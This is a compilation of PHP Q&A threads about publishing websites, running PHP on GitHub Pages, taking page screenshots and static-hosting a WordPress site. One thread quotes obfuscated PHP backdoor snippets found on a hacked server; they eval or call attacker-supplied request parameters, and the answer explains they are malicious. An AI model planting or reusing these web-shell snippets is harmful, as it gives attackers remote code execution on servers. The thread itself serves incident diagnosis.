How do I publish my PHP, HTML, CSS coded website? [duplicate] - php

This question already has answers here:
Access php files through a link on the web
(3 answers)
Closed 8 years ago.
Okay here's the scenario:
Suppose I'm already done designing and coding a website (in PHP, HTML, CSS and other stuffs that help create a website functional) which is still sitting on my desktop, the question is "What's next? How do I publish it to the web?"
Please help, I've seen some tutorials but couldn't understand them.

Well, once you got your website, next step is to find a hosting to place it.
Take in mind, if you are going to "free hosting", some of them don't allow PHP files.
Once you got it, I'll reccomend you a FTP client, such FileZilla or similars, to upload your content to the hosting. Make sure, of course you got a page called index.php/index.html, so it will be loaded when you type in your website.

You need to learn about How to do web hosting
And so many things like
Domain registration
Webserver
and so many.You can have a good and simple tutorial for a beginner in the reference link.

Related

How to run PHP file in github page website? [duplicate]

This question already has an answer here:
Why my contact form (php) does not work with GitHub pages?
(1 answer)
Closed 12 months ago.
So i was adding a .php file to my github website with an email sender form, but when i try running it on my website it makes me download it instead of making it run directly in the browser. I was also trying to research something and i saw something about apache, but i don't know how to do it and how it works.
What i tried is to change the extension to .html but unfortunately, it sended me a 405 error "not allowed".
I'm sure the code is right and the only thing is that it dosn't make me run it.
What i want is that the php file, runs on the browser instead of making me download it.
Assuming that by GitHub Website you mean GitHub Pages...
You can't.
GitHub websites are mostly static - you, as a developer, push html or markdown and github provides/generates static content for viewers/browsers.
If you want to have a PHP-based backend, you need to use a different service. Alternatively, if your PHP code can generate static html, you can run it in a github action and push the html into github pages - but once done, it will stay as is until the next run.
Edit: also check the video on their site, which among other things, says:
There are no databases to set up or servers to configure

PHP / html web app to browse and open files

I am new to the web app development and server topics so my question is rather theoretical. I’ve searched and went through a lot of related topics but haven’t found any satisfying answer and explanation:
Lately I was trying to write a rather simple PHP/html web app to display the content of my local dir let’s say C:/Users/Desktop and generate hyperlinks that would redirect me to the subfolders (and ideally open files in it)
I tried a lot of ready solutions but they were very outdated (3 or 4 years ago) then I found out that it is impossible on all web browsers because of security reasons. From what I learned it is only possible when browsing files on a server but I don’t really know how to enable it locally on my PC.
Could anyone explain to me why it is so? Or if it’s any way to pass it?
Thanks in advance, best regards.
You can easily install a local server (including php runtime) on your PC, like https://www.apachefriends.org or http://www.wampserver.com
A simple guide: https://blog.udemy.com/xampp-tutorial/
List files: List all files in one directory PHP

What is this PHP file that's appeared on my server? [duplicate]

This question already has answers here:
wordpress hacked: what does this script actually do?
(2 answers)
Closed 4 years ago.
I have several web sites on a shared server, and have noticed a load of .php files appear in various folders, none of which were put there by me.
I am a .NET developer, so apart from one site which uses WordPress, none of my sites use PHP. Therefore, I can only assume that the server has been accessed, and suspicious files uploaded.
However, with my basic knowledge of PHP, I can't tell what these files are doing. I am hoping some PHP expert can help me.
Here is a sample...
<?php if(key($_GET)=='35')call_user_func($_GET['35'],$_REQUEST['c'],$_REQUEST['d']);
...and another...
<?php
$acnhe="s\x74\x72\x5fr\x65\x70\x6ca\x63e";$admno=$acnhe('f','',"b\x66afsfef6f4f_\x66dfefcfofd\x66e");$acnhe=$admno($acnhe('|','',$_POST['1043f']));$adnmo="\x61ss\145".'rt';#$adnmo($acnhe);#eval($acnhe);
$k=substr("class",2)."ert"; # $k(${"_PO"."ST"} ['335']);
Anyone able to explain what these would do if/when called?
Your wordpress site has been compromised. It's quite common that unpatched security vulnerabilities in WP allow users to inject these kinds of files which end up causing all sorts of trouble to your visitors (by redirecting them to malicious sites, for example).
You can safely delete this file, and you should do it ASAP.
Also, it's time to secure your WP installation (update the core to the latest version) and go through all of WP's core php files and look for similar strings within them (these malicious exploits sometimes allow core WP files to get injected too) and clean them up.

how to take a screenshot of a loaded webpage using php? [duplicate]

This question already has answers here:
Website screenshots
(18 answers)
Closed 6 years ago.
I need to take screenshots of few web pages and save them in a folder using php.
I want to do this using a php script, is there a way I can render those webpages and take screenshot of a particular area after the website is fully loadedd? - I'm using windows.
I tried using wkhtmltoimage but it takes low quality screenshots and also it takes the screenshot before the whole page is loaded, so some images of the webpage are not appearing in the screenshot, is there a way to do this using php?
Please help php specialists. Thank you
PHP runs on server side, so to be able to take screenshots you need something to render HTML (a browser-like script) and generate a image of it. This script will do that (wkhtmltoimage too):
HTML2PS:
http://freecode.com/projects/html2ps_php
But I still think the best solution will be using javascript. Of course, only the client will have access to the screenshots, and maybe you can upload the image to the server. A client browser is better than any kind of server script.
If that is the case, I would suggest using HTML2CANVAS:
HTML2CANVAS: http://html2canvas.hertzen.com/
The best server solution will be a linux distribution with a google chrome installation and a local script to take screenshots. That is the only way to get accurate screenshots of a web page that may contain javacript/HTML5/animations and other difficult to render stuff.
JavaScript / HTML5 / Canvas
It could be hard to code it only in PHP. In your case I think I would follow those instructions:
Using HTML5/Canvas/JavaScript to take screenshots
PHP
Or if you really want use only PHP, it should help you:
Website screenshots using PHP

Convert PHP website to an HTML-based website [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I recently started working in a company and one of the first tasks that I was given was to redo their website.
Being a newbie and after a few trial and errors on sites like wix.com, weebly.com, I made a WordPress website with a responsive theme using a WAMP server.
The site seems all fine but when the time came to finally put it on the server, I came to know that the hosting company only supports HTML based website whereas the website I built is a PHP one. The following are my questions
How do I go about publishing my WordPress site on an HTML supported only server? Is there a way to convert the website or any other method? If yes, please explain in detail as I am a newbie.
I was somehow able to export my database from the localhost MySQL server to that of the server where I want my site to be but does the web hosting company only supporting HTML based website affect the database in MySQL server? If yes, what should be done and how? Kindly explain in detail.
The cPanel of the webhost is pretty basic and on calling the company, I was told that all I had to do was drag and drop my files there for my site to go online but that dint work.
I tried changing the extensions from PHP to HTML and uploading the files, but all I get is a blank screen on going on going to www.mycompanydomain.ae.
I even tried the whole adding a line in the .htaccess file to open as an HTML without actually changing the all the PHP files but to no avail.
Kindly help as I have spent a lot of time and energy on this but now I am at a roadblock.
You could browse through each page that makes up your website and use your browser to "save" a local copy of the page and upload these. A an easier way to accomplish this foolish task would be to use a web crawling tool like WebReaper on your local website and upload the results to the HTML only host.
The caveats to doing this are:
Your site is no longer interactive, everything is static.
Nice folder structure goes out the window and everything is a mess
It's obviously a bad idea
Don't do this, it's a bad idea
No, seriously.
The correct solution, if you need to have anything server-side/database interactive, is switch to a host that has PHP enabled. You would also want to use a tool like PHPMyAdmin to export your local database and import it on the new host.
You can't do it in HTML. But you can use iframe and wordpress.com or host it elsewhere...
The plugin Really Static/ claims to generate HTML files each time you update your WordPress blog: "saving static files via local, FTP, SFTP" and "
if you don't have PHP/MySQL support on your server you can host your WordPress installation locally and use a normal HTML webspace for publishing"
I hope this helps!
No, there's no practical way to transform your entire site into HTML.
Switch to a web host that supports PHP.

Categories